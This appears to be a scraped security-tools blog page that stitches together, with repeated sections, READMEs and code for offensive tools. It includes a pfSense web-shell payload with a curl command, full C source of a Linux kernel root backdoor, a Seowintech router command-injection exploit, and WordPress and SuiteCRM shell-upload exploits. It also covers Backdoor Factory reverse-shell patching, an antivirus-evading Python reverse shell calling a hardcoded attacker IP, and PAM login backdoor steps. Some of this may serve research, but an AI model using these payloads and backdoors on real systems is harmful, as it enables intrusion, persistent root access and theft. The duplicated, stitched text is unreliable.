+ Command Injection; It is possible to inject ash commands into the ping field which exists on <ip-address>/admin/network/diagnostics.
+ Reflected Cross-Site Scripting; On /cgi-bin/luci/;stok=<session-token>/admin/system/packages you can search for a package to determine whether or not it’s installed. Your search string is shown above the results. It is possible to inject scripting into this field.
+ Stored Cross-Site Scripting; It is possible to inject scripting into the hostname of the router. Since the hostname appears in the title of every page in the administration interface, this results in stored XSS for all pages.
+ Cross Site Request Forgery; While a user is logged in to the administration interface, a specially-crafted link from an outside source can cause actions to be executed on the administration interface. The system does not verify that the session token is correct.

Latest Changelog : 14/04/2015:
– modified: exploits/auth_bypass.py
– modified: exploits/cmd_injection.py
– modified: exploits/csrf.py
– modified: iv-wrt.elf

Setup :
To start the image you will need qemu-system-mipsel and all of its dependencies. We recommend that you create a TAP device called tap0 and bridge it to your network interface. When the image boots, its LAN ip will be 10.0.0.1.

The driver for e1000 network cards have been built into the image. The following command will tell qemu to start the image using the interface tap0 and the e1000:

qemu-system-mipsel -kernel iv-wrt.elf -nographic -m 256 -net tap,ifname=tap0,script=no,downscript=no -net nic,model=e1000

Download : iv-wrt-master.zip(7.43 MB)
Source : https://github.com/iv-wrt

pfsense_xmlrpc_backdoor is a sample payload and example use of abusing pfSense’s xmlrpc.php functions to establish a backdoor and get root level access to pfSense firewalls.

Image may be NSFW.
Clik here to view.

The backdoor in use at SECCDC

This exploit is post-auth (for the admin account) and as it stands is considered a non-issue according to the pfSense security team, since this password is shared for both the web and ssh services (ssh wasn’t WAN accessible when this was used). This authentication method bypasses security rules that apply to auth attempts against the web and is treated as a local_backed authentication attempt. Any PHP shells that are dropped to web root will run with full root perms. It is also worth noting the web server appears to be single threaded so spinning up a long running exec (such as a loop or ping without count) will effectively DoS the web server and stop web based authentication and administration.

The XML PHP backdoor payload :
This payload can be sent to the pfSense box, it will utilize the pfsense.exec_php method to write a very simple php backdoor named ignore.php to the webroot on the firewall.

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param><value><string>password</string></value></param>
<param><value><string>exec('echo \'&lt;pre&gt; &lt;?php $res = system($_GET["cmd"]); echo $res ?&gt; &lt;/pre&gt;\' > /usr/local/www/ignore.php');</string></value></param>
</params>
</methodCall>

The XML DoS :
This payload can be sent to the pfSense box, it will lock up the web server so web based authentication and administration will not function.

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param><value><string>password</string></value></param>
<param><value><string>exec('while true; do sleep 1; done');</string></value></param>
</params>
</methodCall>

Usage :

Using this payload against the pfSense xmlrpc.php file is a simple HTTP request using curl

curl --data @pfsense_exec http://10.10.100.1/xmlrpc.php

Download : Master.zip  | Clone Url
Source : https://github.com/chadillac

thedoor is A horrible linux backdoor module.
This is a linux kernel module that adds a device /dev/door. When a correct password is written to this file, you are immediately made root without any checks.

Building :
A linux source tree has to be in ./linux. Don’t forget to make the device file accesible to everyone if you want for unprivileged users to be able to write to it.
License : Please don’t use this please Image may be NSFW.
Clik here to view.
C Code Script:

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <linux/uaccess.h>

#include <linux/kernel.h>
#include <linux/export.h>
#include <linux/mm.h>
#include <linux/utsname.h>
#include <linux/mman.h>
#include <linux/reboot.h>
#include <linux/prctl.h>
#include <linux/highuid.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/perf_event.h>
#include <linux/resource.h>
#include <linux/kernel.h>
#include <linux/workqueue.h>
#include <linux/capability.h>
#include <linux/device.h>
#include <linux/key.h>
#include <linux/times.h>
#include <linux/posix-timers.h>
#include <linux/security.h>
#include <linux/dcookies.h>
#include <linux/suspend.h>
#include <linux/tty.h>
#include <linux/signal.h>
#include <linux/cn_proc.h>
#include <linux/getcpu.h>
#include <linux/task_io_accounting_ops.h>
#include <linux/seccomp.h>
#include <linux/cpu.h>
#include <linux/personality.h>
#include <linux/ptrace.h>
#include <linux/fs_struct.h>
#include <linux/file.h>
#include <linux/mount.h>
#include <linux/gfp.h>
#include <linux/syscore_ops.h>
#include <linux/version.h>
#include <linux/ctype.h>

#include <linux/compat.h>
#include <linux/syscalls.h>
#include <linux/kprobes.h>
#include <linux/user_namespace.h>
#include <linux/binfmts.h>

/*#include <linux/sched.h>*/
#include <linux/rcupdate.h>
#include <linux/uidgid.h>
#include <linux/cred.h>

#include <linux/kmsg_dump.h>
/* Move somewhere else to avoid recompiling? */
#include <generated/utsrelease.h>

#include <asm/uaccess.h>
#include <asm/io.h>
#include <asm/unistd.h>

#include <linux/kallsyms.h>


struct user_struct root_user = {
          .__count        = ATOMIC_INIT(1),
          .processes      = ATOMIC_INIT(1),
          .sigpending     = ATOMIC_INIT(0),
          .locked_shm     = 0,
          .uid            = GLOBAL_ROOT_UID,
};

static int set_user(struct cred *new)
{
    struct user_struct *new_user;
    struct user_struct* (*auid)(kuid_t);
    void (*fuid)(struct user_struct *);

    auid = kallsyms_lookup_name("alloc_uid");
    new_user = auid(new->uid);
    if (!new_user)
        return -EAGAIN;

    /*
     * We don't fail in case of NPROC limit excess here because too many
     * poorly written programs don't check set*uid() return code, assuming
     * it never fails if called by root.  We may still enforce NPROC limit
     * for programs doing set*uid()+execve() by harmlessly deferring the
     * failure to the execve() stage.
     */
    if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
            new_user != INIT_USER)
        current->flags |= PF_NPROC_EXCEEDED;
    else
        current->flags &= ~PF_NPROC_EXCEEDED;

    fuid = kallsyms_lookup_name("free_uid");
    fuid(new->user);
    new->user = new_user;
    return 0;
}

static long elevate_privileges(void)
{
    struct user_namespace *ns = current_user_ns();
    const struct cred *old;
    struct cred *new;
    int retval;
    kuid_t kuid;
    uid_t uid = 0;
    int (*stask)(struct cred *, const struct cred *, int);

    kuid = make_kuid(ns, uid);
    if (!uid_valid(kuid))
        return -EINVAL;

    new = prepare_creds();
    if (!new)
        return -ENOMEM;
    old = current_cred();

    retval = -EPERM;
    if (ns_capable(old->user_ns, CAP_SETUID) || true) {
        new->suid = new->uid = kuid;
        if (!uid_eq(kuid, old->uid)) {
            retval = set_user(new);
            if (retval < 0)
                goto error;
        }
    } else if (!uid_eq(kuid, old->uid) && !uid_eq(kuid, new->suid)) {
        goto error;
    }

    new->fsuid = new->euid = kuid;

    stask = kallsyms_lookup_name("security_task_fix_setuid");
    retval = stask(new, old, LSM_SETID_ID);
    if (retval < 0)
        goto error;

    return commit_creds(new);

error:
    abort_creds(new);
    return retval;
}


static dev_t dev_id;
static struct class *dev_class;
static struct cdev device;


#define PASS_BUF_SIZE 128
char pass_buf[PASS_BUF_SIZE];

const char password[] = "smokeweedeveryday";

static int thedoor_open(struct inode *inod, struct file *fl)
{
    return 0;
}

static int thedoor_close(struct inode *inod, struct file *fl)
{
    return 0;
}

static ssize_t thedoor_read(struct file *fl, char __user *buf, size_t len, loff_t *off)
{
    return 0;
}

static ssize_t thedoor_write(
    struct file *fl, const char __user *buf, size_t len, loff_t *off)
{
    if (len >= PASS_BUF_SIZE)
        return len;

    if (copy_from_user(pass_buf, buf, len) != 0)
        return -EFAULT;

    pass_buf[len] = '\0';
    if (pass_buf[len - 1] == '\n')
        pass_buf[len - 1] = '\0';

    if (strcmp(pass_buf, password) == 0)
        elevate_privileges();

    return len;
}

static struct file_operations thedoor_fops = {
    .owner = THIS_MODULE,
    .open = thedoor_open,
    .release = thedoor_close,
    .read = thedoor_read,
    .write = thedoor_write
};


static int __init thedoor_init(void)
{
    printk("Thedoor loading\n");

    if (alloc_chrdev_region(&dev_id, 0, 1, "thedoor") < 0)
        goto error;

    if ((dev_class = class_create(THIS_MODULE, "thedoor")) == NULL)
        goto error_class;

    if (device_create(dev_class, NULL, dev_id, NULL, "door") == NULL)
        goto error_device;

    cdev_init(&device, &thedoor_fops);
    if (cdev_add(&device, dev_id, 1) == -1)
        goto error_cdev;

    return 0;

error_cdev:
    device_destroy(dev_class, dev_id);
error_device:
    class_destroy(dev_class);
error_class:
    unregister_chrdev_region(dev_id, 1);
error:
    return -1;
}


static void __exit thedoor_exit(void)
{
    printk("Thedoor unloading\n");

    cdev_del(&device);
    device_destroy(dev_class, dev_id);
    class_destroy(dev_class);
    unregister_chrdev_region(dev_id, 1);
}


module_init(thedoor_init);
module_exit(thedoor_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("swarmer <anton@swarmer.me>");
MODULE_DESCRIPTION("A bad backdoor");

Source : https://github.com/swarmer

Changelog and tool added 25/04/2015:
+ Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution.

Image may be NSFW.
Clik here to view.

Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution.

Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes.
Updates Exploits 25.04.2015 :
+ phpMoAdmin Remote Code Execution (CVE-2015-2208)
+ LotusCMS Remote Code Execution (OSVDB-75095)
+ ElasticSearch Remote Code Execution (CVE-2015-1427)
+ ShellShock (httpd) Remote Code Execution (CVE-2014-6271)
+ IISlap – http.sys Denial of Service/RCE PoC (DoS only). (MS-15-034)
+ se0wned – Seowintech Router diagnostic.cgi remote root
+ TBA

There is no changelogs here, as that would be too much effort, just git commits. Exploits may be updated regularly for greater stability, reliability or stealthiness, so check them for updates regularly

Image may be NSFW.
Clik here to view.
::Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution::
This is an exploit for an old bug, found the exploit code lurking around in one of my old hard drives, cleaned it up, and decided to release it. Basically, a long while back, a rather interesting exploit was disclosed which affected ALL Seowontech devices. Technically, it is two exploits. A remote root command injection bug, and a remote root file disclosure bug. In this, I only bother with the command injection bug. These vulnerabilities were found by one Todor Donev.
The bug we are abusing is quite simple. Like many router bugs, it exists in a CGI script, that is used for network diagnostics. It is the bit for pinging that is vulnerable to our abuse.
PoC:

http://target.com/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;id;&ping_count=1&action=Apply&html_view=ping

Usage:
To use, simply specify the target routers base URL, and a MIPS executable to upload and execute.

Trojans~Princes$ python2 /tmp/se0wn.py 
███████╗███████╗ ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔════╝██╔════╝██╔═████╗██║    ██║████╗  ██║██╔════╝██╔══██╗
███████╗█████╗  ██║██╔██║██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║
╚════██║██╔══╝  ████╔╝██║██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║
███████║███████╗╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗██████╔╝
╚══════╝╚══════╝ ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝ 
Exploit for Seowintech Routers, CVE-?. Version: 20150425.1
{+} Uploading our backdoor...
{*} Backdoor is in 237 chunks...
100% |#########################################################################################################################################################################################|
{+} Setting execute bit...
{+} Executing Payload...

Usage Global SCript:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable LotusCMS installation.

Download : Master.zip  | Clone Url | Our Post Before
Source : https://github.com/XiphosResearch | http://www.xiphosresearch.com/

Changelog and tool added 25/04/2015:
+ WPsh0pwn – WordPress WPShop eCommerce Shell Upload (WPVDB-7830)
+ nmediapwn – WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
+ pwnflow – WordPress Work the flow file upload 2.5.2 Shell Upload
+ delusions – WordPress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)

Image may be NSFW.
Clik here to view.

Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution.

Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes.
Updates Exploits 27.04.2015 :
+ phpMoAdmin Remote Code Execution (CVE-2015-2208)
+ LotusCMS Remote Code Execution (OSVDB-75095)
+ ElasticSearch Remote Code Execution (CVE-2015-1427)
+ ShellShock (httpd) Remote Code Execution (CVE-2014-6271)
+ IISlap – http.sys Denial of Service/RCE PoC (DoS only). (MS-15-034)
+ se0wned – Seowintech Router diagnostic.cgi remote root
+ WPsh0pwn – WordPress WPShop eCommerce Shell Upload (WPVDB-7830)
+ nmediapwn – WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
+ pwnflow – WordPress Work the flow file upload 2.5.2 Shell Upload
+ delusions – WordPress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)
+ TBA

There is no changelogs here, as that would be too much effort, just git commits. Exploits may be updated regularly for greater stability, reliability or stealthiness, so check them for updates regularly

Image may be NSFW.
Clik here to view.
::Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution::
This is an exploit for an old bug, found the exploit code lurking around in one of my old hard drives, cleaned it up, and decided to release it. Basically, a long while back, a rather interesting exploit was disclosed which affected ALL Seowontech devices. Technically, it is two exploits. A remote root command injection bug, and a remote root file disclosure bug. In this, I only bother with the command injection bug. These vulnerabilities were found by one Todor Donev.
The bug we are abusing is quite simple. Like many router bugs, it exists in a CGI script, that is used for network diagnostics. It is the bit for pinging that is vulnerable to our abuse.
PoC:

http://target.com/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;id;&ping_count=1&action=Apply&html_view=ping

Usage:
To use, simply specify the target routers base URL, and a MIPS executable to upload and execute.

Trojans~Princes$ python2 /tmp/se0wn.py 
███████╗███████╗ ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔════╝██╔════╝██╔═████╗██║    ██║████╗  ██║██╔════╝██╔══██╗
███████╗█████╗  ██║██╔██║██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║
╚════██║██╔══╝  ████╔╝██║██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║
███████║███████╗╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗██████╔╝
╚══════╝╚══════╝ ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝ 
Exploit for Seowintech Routers, CVE-?. Version: 20150425.1
{+} Uploading our backdoor...
{*} Backdoor is in 237 chunks...
100% |#########################################################################################################################################################################################|
{+} Setting execute bit...
{+} Executing Payload...

InfusionSoft Gravity Forms Shell Upload
This is an exploit for one of the most facepalmworthy exploits ever, hence, I had to add it to the reportoire. Just… Just read the advisory. You will die laughing.
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress WPshop eCommerce 1.3.9.5 Shell Upload.
This is an exploit for a trivial shell upload vulnerability in the WPshop eCommerce plugin in versions 1.3.9.5 and below. Its a very trivial shell upload in “ajax.php”, preauth, that we use to upload a shell and then spawn a reverse connect shell. Nothing fancy, only reason I bothered writing an exploit for it is because I didn’t want to use Metasploit and happened to have use for it.Image may be NSFW.
Clik here to view.
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress Work the flow file upload 2.5.2 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Usage Global SCript:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable LotusCMS installation.

Download : Master.zip  | Clone Url | Our Post Before
Source : https://github.com/XiphosResearch | http://www.xiphosresearch.com/

NOTICE: For security professionals and researchers only.
Changelog : 4/28/2015
+ Adding check for Bound Imports (PE files with bound imports will not be patched)

Usage: payloadtest.py binary HOST PORT

The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

Image may be NSFW.
Clik here to view.

Features:
+ PE Files
+ ELF Files
+ Mach-O Files
+ OverallImage may be NSFW.
Clik here to view.

Dependences:
Capstone, using the ‘next’ repo until it is the ‘master’ repo: https://github.com/aquynh/capstone/tree/next
Pefile, most recent: https://code.google.com/p/pefile/ Image may be NSFW.
Clik here to view.

INSTALL:
./install.sh

This will install Capstone with the ‘next’ repo and use pip to install pefile.

UPDATE:
./update.sh

Documentation and Presentation:
– http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
– http://www.youtube.com/watch?v=LjUN9MACaTs

Sample Usage:
Patch an exe/dll using an existing code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Patch an exe/dll by adding a code section:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Patch a directory of exes:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

User supplied shellcode:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

Hunt and backdoor: Injector | Windows Only

The injector module will look for target executables to backdoor on disk.  It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.  
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

Download : the-backdoor-factory-3.0.2.zip(104 KB) |  the-backdoor-factory-3.0.2.tar.gz(84 KB)

Contact the developer on:
IRC: irc.freenode.net #BDFactory
Twitter: @midnite_runr
Source : https://github.com/secretsquirrel/the-backdoor-factory | Our Post Before

NOTICE: For security professionals and researchers only.

Reverse TCP Shell is A simple reverse tcp backdoor.
Two files are provided :
+ reverse_tcp.py
— malicious python code, run it on victim side.
— can be packed into “exe” file using pyinstaller and run on Windows with no antivirus software detected (tested on Windows8.1, not detected)
On windows, run pyinstaller –noconsole –onefile reverse_tcp.py to pack the malicious reverse_tcp.py to Windows executable file.
+ listener.js
— simple listener written in javascript(node.js)

How to attack :
+ On attacker side, execute node listener.js to run the listener file on attacker’s machine.
+ Plant and execute reverse_tcp.py on victim machine. (SE, camouflage py file as part of package, etc)

Why implementing Reverse TCP attack in Python
We first tried metasploit and used the windows/shell_reverse_tcp payload to generate the malicious exe file and we also tried msfencode to encode the exe file. However, no matter how we encoded the malicious exe file, Windows Defender could always detect it(It is interesting to find out that some 3rd party av couldn’t detect our trojan). After doing some research, we find out that Windows Defender will always load the program to memory first then scan it, so encoding will never work.

Reverse Code:

#/usr/bin/env python
### Use python 2
### let victim run this file
### To convert this file to windows exe, use "pyinstaller" and run "pyinstaller --noconsole --onefile reverse_tcp.py"
import socket, subprocess, os
attacker_ip = "45.55.139.173"        ## attacker's ip, change this ip address if necessary.
attacker_port = 6667                ## attacker's port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   ## connect to attacker's machine
s.connect((attacker_ip, attacker_port))

while True:
    command = s.recv(1024)        # receive attacker's remote command
    if command == "exit":         # quit shell
        break
    if len(command) > 3 and command[0: 3] == "cd ": # change directory
        os.chdir(command[3:])
        s.send(" ")
        continue;

    # run command
    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read()  + proc.stderr.read()
    if len(output) == 0:
        output = " "
    s.send(output)

# done
s.close()

Listener Code:

Download : Python_reverse_TCP.zip (3.4 MB)  | Clone Url 
Source : https://github.com/shd101wyy

Changelog and tool added 20/05/2015:
Add SuiteShell : Exploit for SuiteCRM Post-Authentication Shell Upload.
Disclosure Timeline:
05/05/2015: Vulnerability discovered and validated. SuiteCRM contacted via twitter asking for a security contact.
06/05/2015: SuiteCRM provide security contact, vulnerability details sent.
06/05/2015: SuiteCRM respond and let me know I will be kept in the loop.
12/05/2015: No contact from SuiteCRM, automated PoC exploit written and provided along with notification of intent to request a CVE on 20/05/2015
20/05/2015: Deadline expires. Publish PoC and request CVE.

Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes.
Updates Exploits 27.04.2015 :
+ phpMoAdmin Remote Code Execution (CVE-2015-2208)
+ LotusCMS Remote Code Execution (OSVDB-75095)
+ ElasticSearch Remote Code Execution (CVE-2015-1427)
+ ShellShock (httpd) Remote Code Execution (CVE-2014-6271)
+ IISlap – http.sys Denial of Service/RCE PoC (DoS only). (MS-15-034)
+ se0wned – Seowintech Router diagnostic.cgi remote root
+ WPsh0pwn – WordPress WPShop eCommerce Shell Upload (WPVDB-7830)
+ nmediapwn – WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
+ pwnflow – WordPress Work the flow file upload 2.5.2 Shell Upload
+ delusions – WordPress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)
+ TBA

There is no changelogs here, as that would be too much effort, just git commits. Exploits may be updated regularly for greater stability, reliability or stealthiness, so check them for updates regularly

::Exploit for SuiteCRM Post-Authentication Shell Upload::
SuiteCRM suffers a post-authentication shell upload vulnerability in its “Upload Company Logo” functionality, wherin it uses a blacklist in an attempt to prevent the upload of executable code. Furthermore, its “check for valid image” test leaves uploaded files in a tempdir that is web accessible. It is possible to bypass the blacklist to upload executable PHP code with the “phtml” extension to this temporary directory and thus gain code execution under the context of the webserver user on the affected system. This vulnerability was discovered by Darren Martyn of Xiphos Research Ltd. while assessing the SuiteCRM software. The version tested was “suitecrm-7.2.1-max”, as available on the SuiteCRM website on the 5/5/2015.Image may be NSFW.
Clik here to view.

Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable SuiteCRM installation, and a valid username and password for an administrative user.

Image may be NSFW.
Clik here to view.
::Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution::
This is an exploit for an old bug, found the exploit code lurking around in one of my old hard drives, cleaned it up, and decided to release it. Basically, a long while back, a rather interesting exploit was disclosed which affected ALL Seowontech devices. Technically, it is two exploits. A remote root command injection bug, and a remote root file disclosure bug. In this, I only bother with the command injection bug. These vulnerabilities were found by one Todor Donev.
The bug we are abusing is quite simple. Like many router bugs, it exists in a CGI script, that is used for network diagnostics. It is the bit for pinging that is vulnerable to our abuse.
PoC:

http://target.com/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;id;&ping_count=1&action=Apply&html_view=ping

Usage:
To use, simply specify the target routers base URL, and a MIPS executable to upload and execute.

Trojans~Princes$ python2 /tmp/se0wn.py 
███████╗███████╗ ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔════╝██╔════╝██╔═████╗██║    ██║████╗  ██║██╔════╝██╔══██╗
███████╗█████╗  ██║██╔██║██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║
╚════██║██╔══╝  ████╔╝██║██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║
███████║███████╗╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗██████╔╝
╚══════╝╚══════╝ ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝ 
Exploit for Seowintech Routers, CVE-?. Version: 20150425.1
{+} Uploading our backdoor...
{*} Backdoor is in 237 chunks...
100% |#########################################################################################################################################################################################|
{+} Setting execute bit...
{+} Executing Payload...

InfusionSoft Gravity Forms Shell Upload
This is an exploit for one of the most facepalmworthy exploits ever, hence, I had to add it to the reportoire. Just… Just read the advisory. You will die laughing.
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress WPshop eCommerce 1.3.9.5 Shell Upload.
This is an exploit for a trivial shell upload vulnerability in the WPshop eCommerce plugin in versions 1.3.9.5 and below. Its a very trivial shell upload in “ajax.php”, preauth, that we use to upload a shell and then spawn a reverse connect shell. Nothing fancy, only reason I bothered writing an exploit for it is because I didn’t want to use Metasploit and happened to have use for it.Image may be NSFW.
Clik here to view.
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress Work the flow file upload 2.5.2 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Usage Global SCript:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable LotusCMS installation.

Download : Master.zip  | Clone Url | Our Post Before
Source : https://github.com/XiphosResearch | http://www.xiphosresearch.com/

This trick shows you how to create a PAM module backdoor that allows to execute an user login with your own custom password.

If you try to make the login with the real password of the target user and the authentication fails, the pam_auth.so switches to the pambd.so and viceversa.

Generate the backdoor:
If you get the error:

pambd.c:13:31: fatal error: security/pam_appl.h: No such file or directory

First install the package libpam-dev that contains the needed headers file for compilation:

deftcode pambd $ sudo apt-get install libpam0g-dev

Now edit the pambd.c and set your master custom password:

#define MYPASSWD "my_master_passwd"

After that, generate the pam backdoor with: (It needs the root permissions)

deftcode pambd $ sudo sh gen.sh

::Configure the PAM service you want to hijack::
Edit the /etc/pam.d/sshd or other that use PAM like /etc/pam.d/su and then replace the content with these lines:

nauth           sufficient      pam_rootok.so
auth            sufficient      pam_unix.so     # This must be 'sufficient'.
account         required        pam_unix.so
session         required        pam_unix.so
auth            sufficient      pambd.so        # This is our pam backdoor.
account         sufficient      pambd.so        # --

::Test the backdoor::
After you have created the pambd backdoor, you can test It.

deftcode pambd $ file /lib/security/pambd.so 
